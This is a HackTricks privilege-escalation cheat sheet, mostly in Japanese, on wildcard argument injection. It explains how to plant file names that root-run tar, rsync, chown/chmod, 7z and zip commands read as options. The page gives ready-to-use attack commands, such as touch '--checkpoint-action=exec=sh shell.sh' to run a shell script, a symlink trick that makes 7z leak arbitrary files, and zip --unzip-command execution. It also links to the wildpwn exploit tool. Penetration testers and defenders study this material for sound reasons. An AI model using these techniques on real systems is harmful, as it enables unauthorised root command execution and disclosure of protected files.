Wildcards Spare tricks

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

chown, chmod

残りのファイルにコピーしたいファイルの所有者と権限を示すことができます

touch "--reference=/my/own/path/filename"

Tar

任意のコマンドを実行する:

touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (tar attack) More info in https://www.exploit-db.com/papers/33930

Rsync

任意のコマンドを実行:

Interesting rsync option from manual:

-e, --rsh=COMMAND           specify the remote shell to use
--rsync-path=PROGRAM    specify the rsync to run on remote machine
touch "-e sh shell.sh"

You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (rsync attack) More info in https://www.exploit-db.com/papers/33930

7z

In 7z even using -- before * (note that -- means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:

7za a /backup/$filename.zip -t7z -snl -p$pass -- *

そして、このコマンドが実行されているフォルダ内にファイルを作成できるため、@root.txt というファイルと、ファイルを読み取りたいファイルへのシンボリックリンクである root.txt ファイルを作成できます:

cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt

その後、7zが実行されると、それはroot.txtを圧縮すべきファイルのリストを含むファイルとして扱います(@root.txtの存在が示していること)そして7zがroot.txtを読み取ると、/file/you/want/to/readを読み取りますが、このファイルの内容がファイルのリストではないため、エラーが発生して内容が表示されます。

詳細はHackTheBoxのCTFのWrite-upsにあります。

Zip

任意のコマンドを実行:

zip name.zip files -T --unzip-command "sh -c whoami"
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated